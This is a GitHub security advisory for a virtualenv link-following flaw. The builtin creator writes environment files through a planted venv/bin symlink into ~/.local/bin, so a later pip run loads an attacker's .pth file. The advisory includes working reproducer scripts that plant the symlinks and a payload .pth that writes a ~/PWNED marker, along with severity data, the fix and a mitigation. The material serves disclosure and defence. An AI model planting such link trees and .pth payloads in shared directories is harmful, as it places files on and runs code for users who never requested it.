Skip to content

virtualenv: Builtin creation follows linked environment directories

Moderate severity GitHub Reviewed Published Oct 17, 2026 in pypa/virtualenv • Updated Oct 21, 2026

Package

pip virtualenv (pip)

Affected versions

< 21.14.9

Patched versions

21.14.9

Description

Summary

The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those
directories. This permits writes outside the requested destination.

Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Directory preparation before environment files are created.

Attacker-controlled input

Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user
must have access to the linked destination. This does not require write access to the target itself under the other
account.

Affected code

The relevant 21.14.8 source is in
builtin creator,
ensure_dir().

Mechanism

The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing
symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script
generation then write through that parent link. A final-file check cannot prevent a write through a linked parent.
--clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

Reproduction and evidence

The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree.
With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote
python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later
pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A
second case began with the bin link resolving inside the environment; replacement of a planted package link during
seeding changed where it resolved, and writes again reached ~/.local/bin.

The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and
would run if the user used that environment directly; the added effect is creation-time writing or replacement outside
the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path
to 20.0.0b1. PR #3429 replaces linked directory components before
creation. Concurrent parent replacement remains a separate case.

Attack sequence

sequenceDiagram
    participant A as Prepared destination
    participant V as Builtin creator
    participant L as venv/bin symlink
    participant H as ~/.local/bin
    participant U as User
    A->>L: point to ../../.local/bin
    V->>L: ensure_dir accepts existing directory link
    V->>H: write python, pip and activate files through link
    V-->>U: creation reports success
    U->>H: run pip found on PATH
    H->>A: interpreter loads planted .pth
    A-->>U: marker created

Reproducer files

The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

WORK = Path("/tmp/planted-bin-link")
shutil.rmtree(WORK, ignore_errors=True)


def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
    local_bin = home / ".local/bin"
    user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
    local_bin_before = set(os.listdir(local_bin))
    payload_marker = home / "PWNED"

    # the attacker's checkout arrives at ~/project
    subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
    venv = home / "project/venv"
    print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")

    # default options; the flag only keeps the run off the network
    subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
    written = sorted(set(os.listdir(local_bin)) - local_bin_before)
    payload_ran_at_creation = payload_marker.exists()
    print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
    print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
    print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")

    # later, in another folder, the user runs pip
    pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
    print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
    print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
    return written, payload_marker.exists() and not payload_ran_at_creation


print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
home = WORK / "bin-link"
(home / ".local/bin").mkdir(parents=True)
written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")

print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
home = WORK / "bin-link-staying-inside"
(home / ".local/bin").mkdir(parents=True)
# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
(home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")

# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
print("---")
print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")

repro.d/checkout_with_bin_link.py

import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

# one per minor version: the attacker does not know which Python the user has
for minor in range(9, 20):
    site_packages = venv / f"lib/python3.{minor}/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")

# relative to a checkout at ~/project
(venv / "bin").symlink_to("../../.local/bin")

repro.d/checkout_with_bin_link_staying_inside.py

import sys
from pathlib import Path

venv = Path(sys.argv[1]) / "venv"

site_packages = venv / "lib/py/site-packages"
site_packages.mkdir(parents=True)
(site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
for minor in range(9, 20):
    (venv / f"lib/python3.{minor}").symlink_to("py")

# pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
(venv / "1/2/3/4/5/6/7").mkdir(parents=True)
(site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")

# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
(venv / "1/.local/bin").mkdir(parents=True)
(venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")

Impact

Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation
output; arbitrary attacker-selected file contents are not established.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.
Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced
link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree
replacement.

Fix: PR #3429.

Known mitigation

Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by
another account.

Affected release

  • The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.

References

@gaborbernat gaborbernat published to pypa/virtualenv Oct 17, 2026
Published by the National Vulnerability Database Oct 20, 2026
Published to the GitHub Advisory Database Oct 21, 2026
Reviewed Oct 21, 2026
Last updated Oct 21, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

CVE ID

CVE-2026-113716

GHSA ID

GHSA-cw65-gx24-rc82

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.